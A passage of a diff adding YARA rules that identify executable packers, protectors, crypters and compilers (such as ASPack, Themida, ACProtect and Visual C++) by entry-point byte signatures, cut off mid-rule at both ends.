+		$2 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule __v10__LiJianjun_
+{
+	meta:
+		description = "Éþ v1.0 -> Li-Jianjun"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44}
+	condition:
+		$0 at entrypoint
+}
+rule _GHF_Protector_pack__GPcH_
+{
+	meta:
+		description = "GHF Protector (pack) / GPcH"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10}
+	condition:
+		$0 at entrypoint
+}
+rule _MaskPE_16__yzkzero_
+{
+	meta:
+		description = "MaskPE 1.6 -> yzkzero"
+	strings:
+		$0 = {36 81 2C 24 ?? ?? ?? 00 C3 60}
+		$1 = {36 81 2C 24 ?? ?? ?? 00 C3 60}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _SCRAMB_120_
+{
+	meta:
+		description = "SCRAMB 1.20"
+	strings:
+		$0 = {E8 00 00 5B 0E 1F 81 EB 50 02 8B C3 05 69 02 50 8B C8 03 D1 2B FA C3 56 34 00 D4 23 8B C3 05 00 02 89 87 93 04 8C 9F 95 04 33 C0 8E C0 8B D3 81 C2 86 02 B9 06 00 BE 04 00 26 8B 04 50 83 C6 02 83 F9 01 76 08 52 49 C3 43 76 88 99 11 26 A1 6C}
+	condition:
+		$0 at entrypoint
+}
+rule _Fusion_V10__jaNooNi_
+{
+	meta:
+		description = "Fusion V1.0 -> jaNooNi"
+	strings:
+		$0 = {68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Cpp_42_EXE__4_
+{
+	meta:
+		description = "Visual C++ 4.2 (EXE - 4)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 00 40 00 68 00 00 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 08 83 EC 6C 53 56 57 89 65 E8 C7 45 FC 00 00 00 00 6A 02 FF 15 00 00 40 00 83 C4 04 C7 05 00 00 40 00 FF FF FF FF A1 00 00 40 00 A3 00 00 40 00 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _XHider_10__GlobaL_
+{
+	meta:
+		description = "X-Hider 1.0 -> GlobaL"
+	strings:
+		$0 = {85 D2 74 23 8B 4A F8 41 7F 1A 50 52 8B 42 FC E8 30 00 00 00 89 C2 58 52 8B 48 FC E8 48 FB FF FF 5A 58 EB 03 FF 42 F8 87 10 85 D2 74 13 8B 4A F8 49 7C 0D FF 4A F8 75 08 8D 42 F8 E8 5C FA FF FF C3 8D 40 00 85 C0 7E 24 50 83 C0 0A 83 E0 FE 50 E8 2F FA FF FF}
+		$1 = {55 8B EC 83 C4 EC 33 C0 89 45 EC B8 54 20 44 44 E8 DF F8 FF FF 33 C0 55 68 08 21 44 44 64 FF 30 64 89 20 8D 55 EC B8 1C 21 44 44 E8 E0 F9 FF FF 8B 55 EC B8 40 ?? ?? 44 E8 8B F5 FF FF 6A 00 6A 00 6A 02 6A 00 6A 01 68 00 00 00 40 A1 40 ?? ?? 44 E8 7E F6 FF FF 50 E8 4C F9 FF FF 6A 00 50 E8 4C F9 FF FF A3 28 ?? ?? 44 E8 CE FE FF FF 33 C0 5A 59 59 64 89 10 68 0F 21 44 44 8D 45 EC E8 F1 F4 FF FF C3 E9 BB F2 FF FF EB F0 E8 FC F3 FF FF FF FF FF FF 0E 00 00 00 63 3A 5C 30 30 30 30 30 30 31 2E 64 61 74 00}
+		$2 = {85 D2 74 23 8B 4A F8 41 7F 1A 50 52 8B 42 FC E8 30 00 00 00 89 C2 58 52 8B 48 FC E8 48 FB FF FF 5A 58 EB 03 FF 42 F8 87 10 85 D2 74 13 8B 4A F8 49 7C 0D FF 4A F8 75 08 8D 42 F8 E8 5C FA FF FF C3 8D 40 00 85 C0 7E 24 50 83 C0 0A 83 E0 FE 50 E8 2F FA FF FF 5A 66 C7 44 02 FE 00 00 83 C0 08 5A 89 50 FC C7 40 F8 01 00 00 00 C3 31 C0 C3 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Zprotect_V120V130BuildX__lifeengines____20080313_
+{
+	meta:
+		description = "Zprotect V1.2.0-V1.3.0.Build.X -> lifeengines   * 20080313"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 2E 74 65 78 74 62 73 73 ?? ?? ?? ?? 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 2E 74 65 78 74 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 2E 64 61 74 61 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2E 69 64 61 74 61 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00}
+	condition:
+		$0
+}
+rule _InterLok_V5X__PACE_AntiPiracy_
+{
+	meta:
+		description = "InterLok V5.X -> PACE Anti-Piracy"
+	strings:
+		$0 = {55 8B EC 81 EC A4 00 00 00 53 56 33 F6 57 39 35 ?? ?? ?? ?? 75 53 8D 45 DC 6A 1C 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 05 8B 45 E0 EB 22 8B 7D 08 6A 02 57 FF 15 ?? ?? ?? ?? 85 C0 75 0B 66 81 3F 4D 5A 75 04 8B C7 EB 07 56 FF 15 ?? ?? ?? ?? A3}
+		$1 = {55 8B EC 81 EC A4 00 00 00 53 56 33 F6 57 39 35 ?? ?? ?? ?? 75 53 8D 45 DC 6A 1C 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 05 8B 45 E0 EB 22 8B 7D 08 6A 02 57 FF 15 ?? ?? ?? ?? 85 C0 75 0B 66 81 3F 4D 5A 75 04 8B C7 EB 07 56 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 48 3C 03 C8 89 ?? ?? ?? ?? ?? EB 06 8B ?? ?? ?? ?? ?? 66 8B 59 16 C1 EB 0D 83 E3 01 74 0A 83 7D 0C 01 0F 85 38 01 00 00 8D 45 F8 50 8D 45 FC 50 E8 47 01 00 00 8B F8 59 3B FE 59 75 52 83 7D FC FF FF 75 F8 75 17 8D 85 5C FF FF FF 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 0C EB 18 FF 75 FC 8D 85 5C FF FF FF 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 10 6A 30 8D 85 5C FF FF FF 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? E9 BB 00 00 00 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 57 FF D7 57 6A 01 8B F0 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 F6 0F 84 96 00 00 00 83 FE F6 7F 32 74 29 83 FE 97 74 75 83 FE F3 74 18 83 FE F4 74 0C 83 FE F5 75 2B B8 ?? ?? ?? ?? EB 4F B8 ?? ?? ?? ?? EB 48 B8 ?? ?? ?? ?? EB 41 B8 ?? ?? ?? ?? EB 3A 83 FE FA 74 30 83 FE FC 74 24 83 FE FD 74 18 56 8D 45 E0 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 0C 8D 45 E0 EB 13 B8 ?? ?? ?? ?? EB 0C B8 ?? ?? ?? ?? EB 05 B8 ?? ?? ?? ?? 6A 30 68 ?? ?? ?? ?? 50 6A 00 FF 15 ?? ?? ?? ?? 85 DB 75 08 6A 01 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B C9 C2 0C 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ORiEN_V212__Fisun_AV_
+{
+	meta:
+		description = "ORiEN V2.12 -> Fisun A.V."
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE CD 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1802_p___Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.0.2 +  -> Oreans Technologies"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CI_Crypt_V01__FearlesS_
+{
+	meta:
+		description = "C.I Crypt V0.1 -> FearlesS"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+		$2 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _CrypWrap__CrypKey_Canada_Inc_
+{
+	meta:
+		description = "CrypWrap -> CrypKey (Canada) Inc"
+	strings:
+		$0 = {E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _beria_v007_public_WIP__symbiont_
+{
+	meta:
+		description = "beria v0.07 public WIP --> symbiont"
+	strings:
+		$0 = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0}
+		$1 = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0 3B F5 74 37 8B 46 0C 3B C5 8B 3D 04 30 ?? ?? 89 2E 89 6E 04 89 6E 08 74 06 50 FF D7 89 6E 0C 8B 46 10 3B C5 74 06 50 FF D7 89 6E 10 8B 46 14 3B C5 74 0A 50 FF D7 89 6E 14 EB 02 33 F6 6A 10 55 89 35 A4 40 ?? ?? FF D3 8B F0 3B F5 74 09 E8 08 12 00 00 8B C6 EB 02 33 C0 8B 48 08 8B 51 04 8B 09 8B 35 30 30 ?? ?? A3 D4 43 ?? ?? 8B 00 03 D0 52 03 C8 51 FF D6 8B 3D 24 30 ?? ?? 50 FF D7}
+		$2 = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0}
+		$3 = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0 3B F5 74 37 8B 46 0C 3B C5 8B 3D 04 30 ?? ?? 89 2E 89 6E 04 89 6E 08 74 06 50 FF D7 89 6E 0C 8B 46 10 3B C5 74 06 50 FF D7 89 6E 10 8B 46 14 3B C5 74 0A 50 FF D7 89 6E 14 EB 02 33 F6 6A 10 55 89 35 A4 40 ?? ?? FF D3 8B F0 3B F5 74 09 E8 08 12 00 00 8B C6 EB 02 33 C0 8B 48 08 8B 51 04 8B 09 8B 35 30 30 ?? ?? A3 D4 43 ?? ?? 8B 00 03 D0 52 03 C8 51 FF D6 8B 3D 24 30 ?? ?? 50 FF D7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _id_Softwares_WAD_file_
+{
+	meta:
+		description = "id Software's WAD file"
+	strings:
+		$0 = {50 57 41 44 0B 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v104b_
+{
+	meta:
+		description = "ASPack v1.04b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Stones_PE_Encryptor_v113__Stone_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.13 -> Stone"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 ?? 3B 40 2B 95 2D ?? 3C 40 83 EA ?? 0B 89 95 36 3C 40 01 ?? 95 24 3C 40 01 ?? 95 28}
+	condition:
+		$0 at entrypoint
+}
+rule _FreePascal_104_Win32_DLL__Berczi_Gabor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 1.0.4 Win32 DLL -> (Berczi Gabor, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {C6 05 ?? ?? ?? ?? 00 55 89 E5 53 56 57 8B 7D 08 89 3D ?? ?? ?? ?? 8B 7D 0C 89 3D ?? ?? ?? ?? 8B 7D 10 89 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5B 5D C2 0C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1820_p__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.2.0 + -> Oreans Technologies"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Pascal_Desktop_File_
+{
+	meta:
+		description = "Turbo Pascal Desktop File"
+	strings:
+		$0 = {54 75 72 62 6F 20 50 61 73 63 61 6C 20 44 65 73 6B 74 6F 70}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v100_
+{
+	meta:
+		description = "tElock v1.00"
+	strings:
+		$0 = {E9 E5 E2 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v035_alpha__Dwing_
+{
+	meta:
+		description = "Upack v0.35 alpha -> Dwing"
+	strings:
+		$0 = {8B F2 8B CA 03 4C 19 1C 03 54 1A 20}
+	condition:
+		$0
+}
+rule _Packman_0001__bubba_
+{
+	meta:
+		description = "Packman 0.0.0.1 -> bubba"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+		$1 = {60 E8 00 00 00 00 58 8D A8 ?? FE FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Macromedia_Flash_Projector_60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Macromedia Flash Projector 6.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftWrap_
+{
+	meta:
+		description = "SoftWrap"
+	strings:
+		$0 = {52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_V24X25X__Jitit_
+{
+	meta:
+		description = "Thinstall V2.4X-2.5X -> Jitit"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Kbys_Packer_028_Betashoooo314_
+{
+	meta:
+		description = "Kbys Packer 0.28 Beta->shoooo314"
+	strings:
+		$0 = {68 85 AE 01 01 E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v20__Vaska_
+{
+	meta:
+		description = "RCryptor v2.0 --> Vaska"
+	strings:
+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? 02 00 00 F7 D1 83 F1 FF 59 BA 32 21 ?? 00 F7 D1 83 F1 FF F7 D1 83 F1 FF 80 02 E3 F7 D1 83 F1 FF C0 0A 05 F7 D1 83 F1 FF 80 02 6F F7 D1 83 F1 FF 80 32 A4 F7 D1 83 F1 FF 80 02 2D F7 D1 83 F1 FF 42 49 85 C9 75}
+		$1 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? 02 00 00 F7 D1 83 F1 FF 59 BA 32 21 ?? 00 F7 D1 83 F1 FF F7 D1 83 F1 FF 80 02 E3 F7 D1 83 F1 FF C0 0A 05 F7 D1 83 F1 FF 80 02 6F F7 D1 83 F1 FF 80 32 A4 F7 D1 83 F1 FF 80 02 2D F7 D1 83 F1 FF 42 49 85 C9 75 CD 1C 4F 8D 5B FD 62 1E 1C 4F 8D 5B FD 4D 9D B9 ?? ?? ?? 1E 1C 4F 8D 5B FD 22 1C 4F 8D 5B FD 8E A2 B9 B9 E2 83 DB E2 E5 4D CD 1E BF 60 AB 1F 4D DB 1E 1E 3D 1E 92 1B 8E DC 7D EC A4 E2 4D E5 20 C6 CC B2 8E EC 2D 7D DC 1C 4F 8D 5B FD 83 56 8E E0 3A 7D D0 8E 9D 6E 7D D6 4D 25 06 C2 AB 20 CC 3A 4D 2D 9D 6B 0B 81 45 CC 18 4D 2D 1F A1 A1 6B C2 CC F7 E2 4D 2D 9E 8B 8B CC DE 2E 2D F7 1E AB 7D 45 92 30 8E E6 B9 7D D6 8E 9D 27 DA FD FD 1E 1E 8E DF B8 7D CF 8E A3 4D 7D DC 1C 4F 8D 5B FD 33 D7 1E 1E 1E A6 0B 41 A1 A6 42 61 6B 41 6B 4C 45 1E 21 F6 26 BC E2 62 1E 62 1E 62 1E 23 63 59 ?? 1E 62 1E 62 1E 33 D7 1E 1E 1E 85 6B C2 41 AB C2 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 20 33 9E 1E 1E 1E 85 A2 0B 8B C2 27 41 EB A1 A2 C2 1E C0 FD F0 FD 30 62 1E 33 7E 1E 1E 1E C6 2D 42 AB 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 C0 FD F0 8E 1D 1C 4F 8D 5B FD E0 00 33 5E 1E 1E 1E BF 0B EC C2 E6 42 A2 C2 45 1E C0 FD F0 FD 30 CE 36 CC F2 1C 4F 8D 5B FD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pohernah_102__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.2 - by Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 25 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 01 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+		$1 = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 25 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 01 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Winkript_v10_
+{
+	meta:
+		description = "Winkript v1.0"
+	strings:
+		$0 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58}
+		$1 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ACProtect_141__AntiCrack_Software_
+{
+	meta:
+		description = "ACProtect 1.41 -> AntiCrack Software"
+	strings:
+		$0 = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6 D0 EB 01 00 D0 C0 FE C8 02 C1 AA E2 EF 59 E2 DE B7 FE AB E1 24 C8 0C 88 7A E1 B1 6A F7 95 83 1B A8 7F F8 A8 B0 1A 8B 08 91 47 6C 5A 88 6C 65 39 85 DB CB 54 3D B9 24 CF 4C AE C6 63 74 2C 63 F0 C8 18 0B 97 6B 79 63 A8 AB B8 78 A9 30 2F 2B DA 18 AC 35 45 36 BC 0D 7D 24 D1 51 3C E6 34 11 5A 43 06 24 89 FA 74 30}
+		$1 = {E8 01 00 00 00 ?? 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Encrypted_by_RSCC286_v102_
+{
+	meta:
+		description = "Encrypted by: RSCC/286 v1.02"
+	strings:
+		$0 = {FE 52 53 43 43 2F 31 2E 30 32 FE}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_LZMA_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 (LZMA)"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 73 26 00 00 8D 9D 58 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _NetRun_310_
+{
+	meta:
+		description = "NetRun 3.10"
+	strings:
+		$0 = {58 50 50 50 59 5A 49 51 44 5B 4C 2D 66 36 2D 67 34 31 47 44 53 58 75 27 40 2C 7E 50 5E 50 5F 4F 2C 21 28 47 55 28 47 5A 28 47 6E 75 35 3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3D 0D 0A 43 46 46 46 52 58 2C 60 2C 60 32 24 46 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v12__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect v1.2 -> Alexey Solodovnikov"
+	strings:
+		$0 = {90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00}
+		$1 = {90 ?? 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PrincessSandy_v10_eMiNENCE_Process_Patcher_Patch_
+{
+	meta:
+		description = "PrincessSandy v1.0 eMiNENCE Process Patcher Patch"
+	strings:
